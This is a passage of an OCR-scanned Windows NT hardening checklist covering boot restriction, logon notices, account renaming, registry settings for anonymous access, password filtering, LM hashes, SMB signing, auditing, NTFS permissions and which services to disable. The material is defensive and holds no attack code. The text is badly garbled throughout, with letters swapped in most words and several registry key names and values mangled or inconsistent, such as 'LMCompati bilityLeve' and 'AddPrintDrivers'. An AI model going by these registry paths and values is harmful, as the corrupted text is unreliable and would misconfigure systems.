aut hori zed user might be unable to work on the conputer.

You m ght choose to keep unauthorized users away fromthe power or reset sw tches on the
conmputer, particularly if your conmputer's rights policy denies themthe right to shut down the
conmput er. The nost secure conmputers (other than those in | ocked and guarded roons) expose

only the conputer's keyboard, nonitor, nouse, and (when appropriate) printer to users. The CPU
and renovabl e nedia drives can be | ocked away where only specifically authorized personne

can access them

[6.0.5] Backups

Regul ar backups protect your data from hardware failures and honest m stakes, as well as from
viruses and other malicious m schief. The Wndows NT Backup utility is described in Chapter 6,
"Backing Up and Restoring Network Files" in Mcrosoft Wndows NT Server Concepts and

Pl anni ng. For procedural infornmation, see Help

Qobviously, files nmust be read to be backed up, and they nust be witten to be restored. Backup
privileges should be limted to admini strators and backup operat ors—people to whom you are
confortable giving read and wite access on all files.

[6.0.6] Networks and Security

If the network is entirely contained in a secure building, the risk of unauthorized taps is

m ni m zed

or elimnated. If the cabling nust pass through unsecured areas, use optical fiber |inks rather
t han

twisted pair to foil attenpts to tap the wire and collect transmitted data.

[6.0.7] Restricting the Boot Process

Most personal conputers today can start a nunber of different operating systens. For exanpl e,
even if you normally start Wndows NT fromthe C. drive, soneone could sel ect another version

of Wndows on another drive, including a floppy drive or CO-ROM drive. If this happens, security
precauti ons you have taken within your normal version of Wndows NT m ght be circunvented.

In general, you should install only those operating systenms that you want to be used on the
conmputer you are setting up. For a highly secure system this will probably nean installing one
versi on of Wndows NT. However, you nust still protect the CPU physically to ensure that no

ot her operating systemis |oaded. Dependi ng on your circunstances, you nmight choose to

renove the floppy drive or drives. In sonme conputers you can di sable booting fromthe floppy
drive by setting switches or junpers inside the CPU |f you use hardware settings to disable
booting fromthe floppy drive, you m ght want to | ock the conputer case (if possible) or lock the
machine in a cabinet with a hole in the front to provide access to the floppy drive. If the CPUis
in

a |l ocked area away fromthe keyboard and nonitor, drives cannot be added or hardware settings
changed for the purpose of starting from another operating system Another sinple setting is to
edit the boot.ini file such that the boot timeout is 0 seconds; this will make hard for the user
to

boot to another systemif one exists.

On many hardware platforms, the system can be protected using a power-on password. A poweron
password prevents unauthorized personnel fromstarting an operating system ot her than

W ndows NT, which woul d conprom se system security. Power-on passwords are a function of

the conputer hardware, not the operating systemsoftware. Therefore the procedure for setting

up the power-on password depends on the type of conputer and is available in the vendor's
docunent ati on supplied with the system

[6.0.8] Security Steps for an NT Operating System

[6.0.9] Install Latest Service Pack and applicable hot-fixes

Conpl et ed Not inpl enented Not applicable

STATUS

Install the | atest recommended M crosoft Service Pack for the NT operating system The
appl i cabl e hot-fixes should also be installed. Generally not all hot-fixes are required. Al so

t he

order in which hot-fixes are installed is very inportant, as |later hot-fixes sonetines supersede
earlier hot-fixes.

ftp://ftp. mcrosoft.com bussys/w nnt/w nnt-public/fixes/usalnt40

[6.1.0] Display a Legal Notice Before Log On
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Conpl eted Not inplenmented Not applicable

STATUS

W ndows NT can di splay a nessage box with the caption and text of your choice before a user

| ogs on. Many organi zations use this nessage box to display a warning nessage that notifies
potential users that they can be held legally liable if they attenpt to use the conputer w thout
havi ng been properly authorized to do so. The absence of such a notice could be construed as an
invitation, without restriction, to enter and browse the system

The I og on notice can also be used in settings (such as an information ki osk) where users m ght
require instruction on how to supply a user name and password for the appropriate account.

To display a legal notice, use the Registry Editor to create or assign the followi ng registry key
val ues on the workstation to be protected:

Hi ve: HKEY_LOCAL_MACHI NE\ SOFTWARE Key: \ M crosoft\Wndows NT\ Current Version\W nl ogon

Name: Legal Noti ceCapti on

Type: REG SZ

Val ue: Whatever you want for the title of the nessage box

Hi ve: HKEY_LOCAL_MACHI NE\ SOFTWARE

Key: M crosoft\Wndows NT\ Current Version\W nl ogon

Nanme: Legal Noti ceText

Type: REG SZ

Val ue: Whatever you want for the text of the nessage box

The changes take effect the next time the conmputer is started. You m ght want to update the
Enmergency Repair Disk to reflect these changes.

Exanpl e:

Wl cone to the XYZ Information Kiosk

Log on using account name Guest and password XYZCorp

Aut hori zed Users Only

This systemis for the use of authorized users only. Individuals using this conputing system

wi thout authority, or in excess of their authority, are subject to having all of their activities
on this

system nonitored and recorded by system personnel. In the course of nonitoring individuals

i mproperly using this system or in the course of system mai ntenance, the activities of authorized
users may be nonitored. Anyone using this system expressly consents to such nonitoring and is
advised that if such nonitoring reveal s possible evidence of crimnal activity, system personne
may provide the evidence of such nonitoring to | aw enforcement officials.

[6.1.1] Renane Administrative Accounts

Conpl eted Not inplenmented Not applicable

STATUS

It is a good idea to renanme the built-in Administrator account to sonething | ess obvious. This
power ful account is the one account that can never be | ocked out due to repeated failed | og on
attenpts, and consequently is attractive to hackers who try to break in by repeatedly guessing
passwords. By renam ng the account, you force hackers to guess the account nane as well as

t he password.

Make the follow ng changes:

Remove right "LOG ON FROM THE NETWORK" from Adnini strator's group

Add right "LOG ON FROM THE NETWORK" for individuals who are adnministrators

Enabl e auditing of failed login attenpts

Lock out users for nore than 5 login failures

? Require password of at |east 8 characters

[6.1.2] Disable CGuest Account

Conpl eted Not inplenmented Not applicable

STATUS

Di sabl e Guest account and renove all rights (note: if using with Internet Information Server then
ensure that web user account has perm ssion to access appropriate directories and the right to
"LOG ON LOCALLY"

Limted access can be pernitted for casual users through the built-in Guest account. If the
computer is for public use, the Guest account can be used for public |og-ons. Prohibit Guest from
witing or deleting any files, directories, or registry keys (with the possible exception of a
directory

where information can be left).

In a standard security configuration, a conputer that allows GQuest access can al so be used by
other users for files that they don't want accessible to the general public. These users can |og

NN ) )
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on

with their own user names and access files in directories on which they have set the appropriate
perm ssions. They will want to be especially careful to log off or |ock the workstation before
they leave it.

[6.1.3] Logging Of or Locking the Wrkstation

Conpl eted Not inplenmented Not applicable

STATUS

Users should either Iog off or lock the workstation if they will be away fromthe computer for any
length of time. Logging off allows other users to log on (if they know t he password to an
account);

| ocki ng the workstation does not. The workstation can be set to lock automatically if it is not
used

for a set period of time by using any 32-bit screen saver with the Password Protected option. For
i nformati on about setting up screen savers, see Help.

? Install password protected screen saver that automatically starts if workstation is not

used for 5-15 m nutes

[6.1.4] Allowing Only Logged-On Users to Shut Down the Conputer

Conpl eted Not inplenmented Not applicable

STATUS

Normal Iy, you can shut down a computer running Wndows NT Wbrkstation w thout |ogging on by
choosi ng Shutdown in the Logon dial og box. This is appropriate where users can access the
conputer's operational switches; otherwi se, they mght tend to turn off the conputer's power or
reset it without properly shutting down Wndows NT Wrkstation. However, you can renove this
feature if the CPUis |ocked away. (This step is not required for Wndows NT Server, because it is
configured this way by default.)

To require users to log on before shutting down the conmputer, use the Registry Editor to create or
assign the follow ng Registry key val ue:

Hi ve: HKEY_LOCAL_MACHI NE\ SOFTWARE

Key: \ M crosoft\Wndows NT\Current Version\W nl ogon

Name: Shut downW t hout Logon

Type: REG SZ

Value: 0O

The changes will take effect the next time the conputer is started. You mi ght want to update the
Emergency Repair Disk to reflect these changes.

[6.1.5] Hiding the Last User Nane

Conpl eted Not inplenmented Not applicable

STATUS

By default, Wndows NT places the user name of the last user to log on the conputer in the User
nane text box of the Logon dialog box. This nmakes it nore convenient for the nost frequent user
to log on. To hel p keep user names secret, you can prevent Wndows NT from displaying the user
nane fromthe last log on. This is especially inportant if a conputer that is generally accessible
is

being used for the (renamed) built-in Adm nistrator account.

To prevent display of a user nane in the Logon dial og box, use the Registry Editor to create or
assign the follow ng registry key val ue:

H ve: HKEY_LOCAL_MACHI NE\ SOFTWARE

Key: \ M crosoft\Wndows NT\Current Version\W nl ogon

Nane: Dont Di spl ayLast User Nane

Type: REG SZ

Value: 1

[6.1.6] Restricting Anonynmous network access to Registry

Conpl eted Not i npl enented Not applicable

STATUS

W ndows NT version 4.0 Service Pack 3 includes a security enhancenent that restricts

anonynmous (null session) |ogons when they connect to specific named pipes including the one for
Regi stry.

There is a registry key value that defines the list of named pipes that are "exenpt" fromthis
restriction. The key value is:

Hi ve: HKEY_LOCAL_NMACHI NE\ SYSTEM

Key: System Current Control Set\ Servi ces\ LanManSer ver\ Par anet ers

Name: Nul | Sessi onPi pes
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Type: REG MULTI _SZ

Val ue: Add or Renove nanes fromthe list as required by the configuration

Pl ease refer to Know edge Base article QL43138 for nore details.

[6.1.7] Restricting Anonynous network access to | ookup account nanmes and network

shares

Conpl eted Not inplenmented Not applicable

STATUS

W ndows NT has a feature where anonynous | ogon users can |ist domain user nanmes and

enuner at e share names. Custonmers who want enhanced security have requested the ability to
optionally restrict this functionality. Wndows NT 4.0 Service Pack 3 and a hotfix for Wndows NT
3.51 provide a nechanismfor administrators to restrict the ability for anonynous | ogon users
(al so known as NULL session connections) to |list account nanes and enumerate share nanes.

Li sting account nanmes from Dormain Controllers is required by the Wndows NT ACL editor, for
exanple, to obtain the list of users and groups to select who a user wants to grant access rights.
Li sting account nanes is also used by Wndows NT Explorer to select fromlist of users and
groups to grant access to a share.

The registry key value to set for enabling this feature is:

H ve: HKEY_LOCAL_ MACHI NE\ SYSTEM

Key: System Current Control Set\ Control\LSA

Name: Restrict Anonynous

Type: REG_DWORD

Val ue: 1.

Thi s enhancenent is part of Wndows NT version 4.0 Service Pack 3. A hot fix for it is also
provi ded for Wndows NT version 3.51. Please refer to Know edge Base article QL43474 for

nore details on this.

[6.1.8] Enforcing strong user passwords

Conpl eted Not inpl enented Not applicable

STATUS

W ndows NT 4.0 Service Pack 2 and | ater includes a password filter DLL file (Passfilt.dll) that
lets

you enforce stronger password requirenents for users. Passfilt.dll provides enhanced security
agai nst "password guessing" or "dictionary attacks" by outside intruders.

Passfilt.dll inplenments the foll owi ng password policy:

? Passwords nust be at |east six (6) characters long. (The mini nrum password | ength can be
increased further by setting a higher value in the Password Policy for the domain).

? Passwords nust contain characters fromat |least three (3) of the follow ng four (4) classes:
Descri pti on Exanpl es

Engl i sh upper case letters A, B, C, ... Z
English | ower case letters a, b, ¢, ... z
Westerni zed Arabic nunerals 0, 1, 2, ... 9

Non- al phanuneric ("special characters") such as punctuation synbols

? Passwords nmay not contain your user nane or any part of your full nane.

These requirenents are hard-coded in the Passfilt.dll file and cannot be changed through the
user interface or registry. If you wish to raise or |ower these requirenents, you may wite your
own .dll and inplenent it in the sanme fashion as the Mcrosoft version that is available with
W ndows NT 4.0 Service Pack 2.

To use Passfilt.Dll, the admi nistrator nust configure the password filter DLL in the system
registry

on all domain controllers. This can be done as follows with the follow ng registry key val ue:
H ve: HKEY_LOCAL_MACHI NE\ SYSTEM

Key: System Current Control Set\ Control\LSA

Nane: Notification Packages

Type: REG MULTI _SZ

Val ue: Add string "PASSFILT" (do not renobve existing ones).

[6.1.9] Disabling LanManager Password Hash Support

Conpl eted Not inplenmented Not applicable

STATUS

W ndows NT supports the follow ng two types of chall enge/response authentication

? LanManager (LM chall enge/ response

? Wndows NT chal | enge/ response

To allow access to servers that only support LM authentication, Wndows NT clients currently
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send both authentication types. Mcrosoft devel oped a patch that allows clients to be configured
to send only Wndows NT authentication. This renoves the use of LM chall enge/response

nmessages fromthe network.

Applying this hot fix, configures the follow ng registry key:

Hi ve: HKEY_LOCAL_MACHI NE\ SYSTEM

Key: System Current Control Set\ Control\LSA

Name: LMCompati bilityLeve

Type: REG _DWORD

Val ue: 0,1,2 (Default 0)

Setting the val ue to:

? 0 — Send both Wndows NT and LM password forns.

? 1 — Send Wndows NT and LM password fornms only if the server requests it.

? 2 — Never send LM password form

If a Wndows NT client selects level 2, it cannot connect to servers that support only LM

aut henti cation, such as Wndows 95 and W ndows for Wrkgroups.

For nore conplete information on this hot fix, please refer to Know edge Base article nunber
QL47706.

[6.2.0] Wping the System Page File during clean system shutdown

Conpl eted Not inplenmented Not applicable

STATUS

Virtual Menmory support of W ndows NT uses a systempage file to swap pages from nmenory of
different processes onto di sk when they are not being actively used. On a running system this
page file is opened exclusively by the operating systemand hence is well-protected. However,
systens that are configured to allow booting to other operating systens, nay want to ensure that
system page file is wi ped cl ean when Wndows NT shuts down. This ensures that sensitive

i nformati on from process nmenory that may have nmade into the page file is not available to a
snoopi ng user. This can be achieved by setting up the follow ng key:

Hi ve: HKEY_LOCAL_NMACHI NE\ SYSTEM

Key: System Current Control Set\ Control\ Sessi onManager\ Menory Managenent

Nanme: C ear PageFi | eAt Shut down

Type: REG DWORD Val ue: 1

Note that, this protection works only during a clean shutdown, therefore it is inportant that
untrusted users do not have ability to power off or reset the system manually.

[6.2.1] Protecting the Registry

Conpl et ed Not inpl enented Not applicable

STATUS

Al the initialization and configuration information used by Wndows NT is stored in the registry.
Normal Iy, the keys in the registry are changed indirectly, through the administrative tools such
as

the Control Panel. This nethod is recomended. The registry can also be altered directly, with
the Registry Editor; sone keys can be altered in no other way.

The Registry Editor supports renbte access to the Wndows NT registry. To restrict network
access to the registry, use the Registry Editor to create the following registry key:

Hi ve: HKEY_LOCAL_MACHI NE

Key: \Currentcontrol Set\ Control\ SecurePi peServers

Nane: \wi nreg

The security perm ssions set on this key define which users or groups can connect to the system
for renpte registry access. The default Wndows NT Wrkstation installation does not define this
key and does not restrict renote access to the registry. Wndows NT Server pernits only
administrators renote access to the registry.

[6.2.2] Secure EventlLog View ng

Conpl eted Not i npl enented Not applicable

STATUS

Default configuration allows guests and null log ons ability to view event |ogs (system and
application logs). Security log is protected from guest access by default, it is viewable by
users

who have "Manage Audit Logs" user right. The Event | og services use the follow ng key to
restrict guest access to these |ogs:

Hi ve: HKEY_LOCAL_MACH NE

Key: \System Current Control Set\ Servi ces\ Event Log\ [ LogNane]

Name: Restrict GQuest Access
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Type REG _DWORD

Value: 1

Set the value for each of the logs to 1. The change takes effect on next reboot. Needl ess to say
that you will have to change the security on this key to disall ow everyone other than

Admi ni strators and System any access because otherw se nmalicious users can reset these

val ues.

[6.2.3] Secure Print Driver Installation

Conpl eted Not inpl enented Not applicable

STATUS

Regi stry key AddPrinterDrivers under HKEY_LOCAL_ MACHI NE\ Syst eml Current Control Set\

Control \ Print\Providers\LanMan Print Services\Servers, Key value AddPrinterDrivers

(REG DWORD) is used to control who can add printer drivers using the print folder. This key

val ue should be set to 1 to enable the systemspooler to restrict this operation to adm nistrators
and print operators (on server) or power users (on workstation).

H ve: HKEY_LOCAL_MACHI NE

Key: System Currentcontrol Set\ Control\Print\Providers\LanMan Print Services\Servers

Name: AddPrintDrivers

Type REG DWORD

Value: 1 [6.2.4] The Schedul e Service (AT Command)

Conpl eted Not inpl enented Not applicable

STATUS

The Schedul e service (al so known as the AT command) is used to schedul e tasks to run
automatically at a preset tinme. Because the scheduled task is run in the context run by the
Schedul e service (typically the operating systemis context), this service should not be used in a
hi ghly secure environnent.

By default, only adm nistrators can subnit AT commands. To all ow system operators to al so
submit AT commands, use the Registry Editor to create or assign the followi ng registry key val ue
Hi ve: HKEY_LOCAL_NMACHI NE\ SYSTEM

Key: \Current Control Set\ Control\Lsa

Name: Subnmit Contro

Type: REG _DWORD

Value: 1

There is no way to all ow anyone el se to submit AT commands. Protecting the registry as
explained earlier restricts direct nodification of the registry key using the registry editor
Access

to the registry key HKEY LOCAL_MACHI NE\ Syst em Current Control Set\ Servi ces\ Schedul e

shoul d al so be restricted to only those users/groups (preferrably Adnministrators only) that are
allowed to subnit jobs to the schedul e service.

The changes will take effect the next time the conputer is started. You mi ght want to update the
Emergency Repair Disk to reflect these changes.

[6.2.5] Secure File Sharing

Conpl eted Not inplenmented Not applicable

STATUS

The native Wndows NT file sharing service is provided using the SVMB-based server and

redi rector services. Even though only adm nistrators can create shares, the default security

pl aced on the share all ows Everyone full control access. These permni ssions are controlling
access to files on down level file systens |ike FAT which do not have security mechani sns built
in. Shares on NTFS enforce the security on the underlying directory it naps to and it is
recomended that proper security be put via NTFS and not via the file sharing service.

Al'so note that the share information resides in the registry which al so needs to be protected as
explained in a section earlier

? Service Pack 3 for Wndows NT version 4.0 includes several enhancenents to SMB based

file sharing protocol. These are: It supports nutual authentication to counter nan-in-them ddle
att acks.

? It supports nessage authentication to prevent active nessage attacks.

These are provided by incorporating nessage signing into SMB packets which are verified by

both server and client ends. There are registry key settings to enable SMB signatures on each
side. To ensure that SMB server responds to clients with nessage signing only, configure the
foll owi ng key val ue:

Hi ve: HKEY_LOCAL_MACHI NE\ SYSTEM

Key: System Current Control Set\ Servi ces\ LanManSer ver\ Par aneters
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Name: RequireSecuritySignature

Type: REG DWORD

Val ue: 1

Setting this value ensures that the Server comunicates with only those clients that are aware of
message signing. Note that this neans that installations that have multiple versions of client
software, older versions will fail to connect to servers that have this key val ue configured
Simlarly, security conscious clients can also decide to conmunicate with servers that support
nmessage signing and no one el se.

H ve: HKEY_LOCAL_NMACHI NE\ SYSTEM

Key: System Current Control Set\ Servi ces\ Rdr\ Paraneters

Nanme: RequireSecuritySignature

Type: REG _DWORD

Val ue: 1
Note that setting this key value inmplies that the client will not be able to connect to servers
whi ch

do not have nessage signing support.

Pl ease refer to Know edge Base article QL61372 for further details on SMB nessage signing
enhancenent s.

W ndows NT version 4.0 Service Pack 3 al so includes another enhancenent to SMB file sharing
protocol such that by default you are unable to connect to SMB servers (such as Sanba or

Hewl ett - Packard (HP) LM X or LAN Manager for UNIX) with an unencrypted (plain text)

password. This protects fromsending clear text forns of passwords over the wire. Please refer
to Know edge base article QL66730 if you have any reasons to allow clients to send unencrypted
passwords over the wire.

Additionally, custoners may want to delete the admi nistrative shares ($ shares) if they are not
needed on an installation. This can be acconplished using "net share" command. For exanpl e:

C:\> net share adnmin$ /d

[6.2.6] Auditing

Auditing can informyou of actions that could pose a security risk and also identify the user
accounts from which audited actions were taken. Note that auditing only tells you what user
accounts were used for the audited events. |If passwords are adequately protected, this in turn

i ndi cates which user attenpted the audited events. However, if a password has been stolen or if
actions were taken while a user was | ogged on but away fromthe conputer, the action could

have been initiated by soneone other than the person to whomthe user account is assigned

When you establish an audit policy you'll need to weigh the cost (in disk space and CPU cycl es)
of the various auditing options agai nst the advantages of these options. You'll want to at |east
audit failed log on attenpts, attenpts to access sensitive data, and changes to security settings.
Here are sonme common security threats and the type of auditing that can help track them

[6.2.7] Threat Action

Hacker-type break-in using random passwords Enable failure auditing for log on and | og off
events.

Break-in using stolen password Enabl e success auditing for 1og on and | og off events. The | og
entries will not distinguish between the real users and the phony ones. Wat you are | ooking for
here is unusual activity on user accounts, such as log ons at odd hours or on days when you
woul d not expect any activity.

M suse of adnministrative privileges by authorized users Enabl e success auditing for use of user
rights; for user and group nanagenent, for security policy changes; and for restart, shutdown,
and system events. (Note: Because of the high volune of events that would be recorded,

W ndows NT does not nornally audit the use of the Backup Files And Directories and the Restore
Files And Directories rights. Appendix B, "Security In a Software Devel opnent Environnent,"
expl ai ns how to enable auditing of the use of these rights.)

Virus outbreak Enabl e success and failure wite access auditing for programfiles such as files
with .exe and .dl| extensions. Enable success and failure process tracking auditing. Run suspect
prograns and exanine the security log for unexpected attenpts to nodify programfiles or
creation of unexpected processes. Note that these auditing settings generate a | arge nunber of
event records during routine systemuse. You should use themonly when you are actively

nmoni toring the system | og.

| nproper access to sensitive files Enable success and failure auditing for file- and objectaccess
events, and then use File Manager to enabl e success and failure auditing of read and

wite access by suspect users or groups for sensitive files.

| nproper access to printers Enable success and failure auditing for file- and object-access

file://ID|//WEB/hacker/TheModHackReference.txt (45 of 169) [9/12/2004 8:18:41 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

events, and then use Print Manager to enable success and failure auditing of print access by
suspect users or groups for the printers. [6.2.8] Enabling System Auditing

Conpl eted Not i npl enented Not applicable

STATUS

Enabl i ng systemauditing can i nformyou of actions that pose security risks and possibly detect
security breaches

To activate security event |ogging, follow these steps:

1. Log on as the adm nistrator of the |ocal workstation

2. Cick the Start button, point to Programs, point to Adm nistrative Tools, and then click

User

Manager .

3. On the Policies menu, click Audit.

4. dick the Audit These Events option

5. Enabl e the options you want to use. The foll owi ng options are avail abl e:

e Log on/Log off: Logs both local and renote resource | ogins.

File and Object Access: File, directory, and printer access.

e Note: Files and folders nust reside on an NTFS partition for security |logging to be

enabl ed. Once the auditing of file and object access has been enabl ed, use W ndows

NT Explorer to select auditing for individual files and fol ders.

« User and Group Managenent: Any user accounts or groups created, changed, or

del eted. Any user accounts that are renaned, disabled, or enabled. Any passwords set

or changed.

e Security Policy Changes: Any changes to user rights or audit policies.

e Restart, Shutdown, And System Logs shutdowns and restarts for the |l ocal workstation

* Process Tracking: Tracks program activation, handle duplication, indirect object

access, and process exit.

6. Cick the Success check box to enable Iogging for successful operations, and the Failure

check box to enable |ogging for unsuccessful operations.

7.dick &

Note that Auditing is a "detection" capability rather than "prevention" capability. It will help
you

di scover security breaches after they occur and therefore should al ways be consider in addition to
vari ous preventive measures.

[6.2.9] Auditing Base bjects

Conpl et ed Not inpl enented Not applicable

STATUS

To enabl e auditing on base system objects, add the followi ng key value to the registry key

Hi ve: HKEY_LOCAL_MACHI NE\ SYSTEM

Key: System Current Control Set\ Control\Lsa

Nane: AuditBaseCbjects

Type: REG_DWORD

Val ue: 1

Note that sinply setting this key does not start generating audits. The adm nistrator will need

to

turn auditing on for the "Object Access" category using User Manager. This registry key setting
tells Local Security Authority that base objects should be created with a default system audit
control Iist.

[6.3.0] Auditing of Privileges

Conpl eted Not inplenmented Not applicable

STATUS

Certain privileges in the systemare not audited by default even when auditing on privilege use is
turned on. This is done to control the growh of audit |ogs. The privil eges are:

1. Bypass traverse checking (given to everyone).

2. Debug prograns (given only to adm nistrators)

3. Create a token object (given to no one)

4. Replace process |level token (given to no one)

5. CGenerate Security Audits (given to no one)
6
7.
1

Backup files and directories (given to adm nistrators and backup operators)
Restore files and directories (given to adm nistrators and backup operators)
is granted to everyone so is neaningless fromauditing perspective. 2 is not used in a working
system and can be renoved from administrators group. 3, 4 and 5 are not granted to any user or
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group and are highly sensitive privileges and should not be granted to anyone. However 6 and 7
are used during normal system operations and are expected to be used. To enable auditing of
these privileges, add the follow ng key value to the registry key

Hi ve: HKEY_LOCAL_NACHI NE\ SYSTEM

Key: System Current Control Set\ Control\Lsa

Name: Ful | Privil egeAuditing

Type: REG_BI NARY

Value: 1

Note that these privileges are not audited by default because backup and restore is a frequent
operation and this privilege is checked for every file and directory backed or restored, which can
| ead to thousands of audits filling up the audit log in no tinme. Carefully consider turning on
auditing on these privil ege uses.

[6.3.1] Protecting Files and Directories

Conpl eted Not inpl enented Not applicable

STATUS

The NTFS file system provides nore security features than the FAT system and shoul d be used
whenever security is a concern. The only reason to use FAT is for the boot partition of an
ARCconpl i ant

Rl SC system A system partition using FAT can be secured in its entirety using the

Secure System Partition command on the Partition nenu of the Disk Administrator utility.

Anmong the files and directories to be protected are those that nmake up the operating system
software itself. The standard set of perm ssions on systemfiles and directories provide a
reasonabl e degree of security without interfering with the conputer's usability. For high-Ievel
security installations, however, you mght want to additionally set directory perm ssions to all
subdirectories and existing files, as shown in the following list, inmediately after WndowsNT is
installed. Be sure to apply permissions to parent directories before applying permssions to
subdirectori es.

First apply the follow ng using the ACL editor:

Directory Perm ssions Conplete

\WNNT and all subdirectories under it. Adm nistrators: Full Control

CREATOR OMNER: Ful | Control

Everyone: Read

SYSTEM Full Control

Now, within the \WNNT tree, apply the follow ng exceptions to the general security:

Directory Perm ssions Conplete

\ W NNT\ REPAI R Admi ni strators: Full Control

\ W NNT\ SYSTEMB2\ CONFI G Admi ni strators: Full Control

CREATOR OMNER: Full Control

Everyone: Li st

SYSTEM Ful |l Control

\ W NNT\ SYSTEM32\ SPOOL Adni ni strators: Full Control

CREATOR OMNER: Ful | Control

Everyone: Read

Power Users: Change

SYSTEM Full Contr ol

\ W NNT\ COCKI ES

\ W NNT\ FORMS

\ W NNT\ Hl STCRY

\ W NNT\ OCCACHE

\ W NNT\ PROFI LES

\ W NNT\ SENDTO

\ W NNT\ Tenporary Internet Files Adm nistrators: Full Control

CREATOR OMNNER: Ful | Control

Everyone: Special Directory Access — Read, Wite and Execute, Special File Access — None
System: Full Control

Several critical operating systemfiles exist in the root directory of the systempartition on
I ntel

80486 and Pentium based systens. In high-security installations you mght want to assign the
foll owi ng permi ssions to these files:

File C2-Level Perm ssions Conplete

\Boot.ini, \Ntdetect.com \NtIldr Administrators: Full Control
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SYSTEM Full Contr ol

\ Aut oexec. bat, \Config.sys Everybody: Read

Adm nistrators: Full Control

SYSTEM Ful |l Control

\TEMP directory Admi nistrators: Full Control

SYSTEM Full Contr ol

CREATOR OMNER: Full Control

Everyone: Special Directory Access — Read, Wite and Execute, Special File Access — None

To view these files in File Manager, choose the By File Type command fromthe Vi ew nenu,
then sel ect the Show Hi dden/ System Fil es check box in the By File Type dial og box.

Note that the protections nentioned here are over and above those nentioned earlier in the
standard security | evel section, which included having only NTFS partitions (except the boot
partition in case of RI SC machi nes). The FAT boot partition for R SC systens can be confi gured
using the Secure System Partition command on the Partition menu of the Di sk Admi nistrator
utility.

It is also highly advisable that Admi nistrators nmanually scan the perm ssions on vari ous
partitions

on the system and ensures that they are appropriately secured for various user accesses in their
envi ronnent .

[6.3.2] Services and Net Bl OS Access From I nter net

For a stand-al one WEB or firewall server, consider the follow ng guidelines

The foll owi ng services should NOT be started:

Service Installed Not Installed

Al erter

Cl i pBook Server

Comput er Browser

DHCP d i ent

Directory Replicator

Messenger

Net Logon

Net wor k DDE

Net wor k DDE DSDM

Plug and Pl ay

Renot e Procedure Call (RPC) Locator

Server

SNVP Trap Service Spooler "unless print spooling is needed"

TCP/ 1 P Net Bl OS Hel per

Tel ephony Servi ce

Wor kst ation

The foll owi ng services MJST be started:

Service Installed Not Installed

Event Log

FTP Publishing Service (for FTP server)

Gopher Publishing Service (for Gopher server)

NT LM Security Support Provider

Renote Procedure Call (RPC) Service

SNVP

Wrld Wde Wb Publishing Service (for WWVserver)

The foll owing services MAY be started if needed:

Service Installed Not Installed

Schedul e

UPS

Di sconnect the "NetBIOS Interface", the "Server" and the "Wrkstation" fromthe "WNS
Client(TCP/IP)"

[6.3.3] Alerter and Messenger Services

The W ndows NT alerter and nmessenger services enable a user to send pop-up nessages to
other users. A network administrator nay consider this an unnecessary risk due to the fact that
these types of services have been known to be used in social engineering attacks. Sone users
m ght actually respond to a request to change their password, create a share, or otherw se open
holes in the network. A side effect of running this service is that it causes the nane of the
current
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user to be broadcast in the NetBl OS nane table, which gives the attacker a valid user name to

use in brute force attenpts.

[6.3.4] Unbind Unnecessary Services from Your |Internet Adapter Cards

Conpl et ed Not inpl enented Not applicable

STATUS

Use the Bindings feature in the Network application in Control Panel to unbind any unnecessary
services fromany network adapter cards connected to the Internet. For exanple, you m ght use

the Server service to copy new i mages and docunents from conputers in your internal network,

but you m ght not want renote users to have direct access to the Server service fromthe Internet.
If you need to use the Server service on your private network, disable the Server service binding
to any network adapter cards connected to the Internet. You can use the Wndows NT Server

service over the Internet; however, you should fully understand the security inplications and
conply with Wndows NT Server Licensing requirements issues.

When you are using the Wndows NT Server service you are using Mcrosoft networking (the

server nessage bl ock [ SMB] protocol rather than the HTTP protocol) and all Wndows NT Server

Li censing requirenents still apply. HITP connections do not apply to Wndows NT Server

i censing requirenents.

For Wndows NT systens with direct Internet connectivity and have NetBios, there are two
configuration options:

e Configure the NT systemon the Internet outside the corporate firewall. You can al so
acconplish this by bl ocking ports 135, 137 and 138 on TCP and UDP protocols at the
firewall. This ensures that no NetBIOS traffic noves across the corporate firewall

e Configure the protocol bindings between TCP/IP, NetBIQS, Server and Wrkstation

services using the network control panel. By renoving the bindings between NetBlI OS and TCP/I P, the
native file sharing services (using the Server and Wirkstation services) will not

be accessible via TCP/IP and hence the Internet. These and other NetBlI OS services will

still be accessible via a |ocal LAN-specific, non-routable protocol (ex: NetBEU ) if one is in

pl ace. To acconplish this use the Network Control Panel applet. Select the Bindings Tab

and di sable the NetBios bindings with TCP/IP protocol stack

A Wndows NT systemwi th direct Internet connectivity needs to be secured with respect to other
servi ces besides NetBI OS access, specifically Internet Information Server

Net Bl OS over TCP/IP should normally be disabled for a firewall or web server. The following is a
list of the ports used by NBT.

? NetBl OS-ns 137/tcp NETBI OS Nane Service

Net Bl OS-ns 137/ udp NETBI OS Nane Service

Net Bl OS- dgm 138/t cp NETBI OS Dat agram Servi ce

Net Bl OS- dgm 138/ udp NETBI OS Dat agr am Servi ce

Net Bl OS-ssn 139/tcp NETBI GS Session Service

? Net Bl OS-ssn 139/ udp NETBI OS Sessi on Service

[6.3.5] Enhanced Protection for Security Accounts Manager Database

Conpl et ed Not inpl enented Not applicable

STATUS

The W ndows NT Server 4.0 System Key hotfix (included in Service Pack 3) provides the

capability to use strong encryption techniques to increase protection of account password
information stored in the registry by the Security Account Manager (SAM. W ndows NT Server
stores user account information, including a derivative of the user account password, in a secure
portion of the Registry protected by access control and an obfuscation function. The account
information in the Registry is only accessible to nenbers of the Administrators group. W ndows

NT Server, like other operating systens, allows privileged users who are admi nistrators access to
all resources in the system For installations that want enhanced security, strong encryption of
account password derivative information provides an additional |evel of security to prevent

Adm nistrators fromintentionally or unintentionally accessing password derivatives using Registry
progranm ng interfaces.

Pl ease refer to Know edge Base article QL43475 for nore details on SysKey feature and how it

can be inplenented on a Wndows NT installation.

[6.3.6] Disable Caching of Logon Credentials during interactive |ogon

Conpl eted Not inpl enented Not applicable

STATUS

The default configuration of Wndows NT caches the | ast |ogon credentials for a user who | ogged
on interactively to a system This feature is provided for systemavailability reasons such as

t he

N N ) N
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user's machine is disconnected or none of the domain controllers are online.

Even though the credential cache is well protected, in a highly secure environnments, customners
may want to disable this feature. This can be done by setting the follow ng registry key:

Hi ve: HKEY_LOCAL_MACH NE

Key: Software\M crosoft\W ndows NT\ Current Versi on\ W nl ogon

Name: CachedLogonsCount

Type: REG_DWORD

Value: 0O

[6.3.7] How to secure the %systenroot%repair\sam _ file

Conpl et ed Not inpl enented Not applicable

STATUS By default, the SAM _ file and \repair directory has the foll ow ng pernissions;

Admi nistrators: Full Contro

Everyone: Read

SYSTEM Full Contro

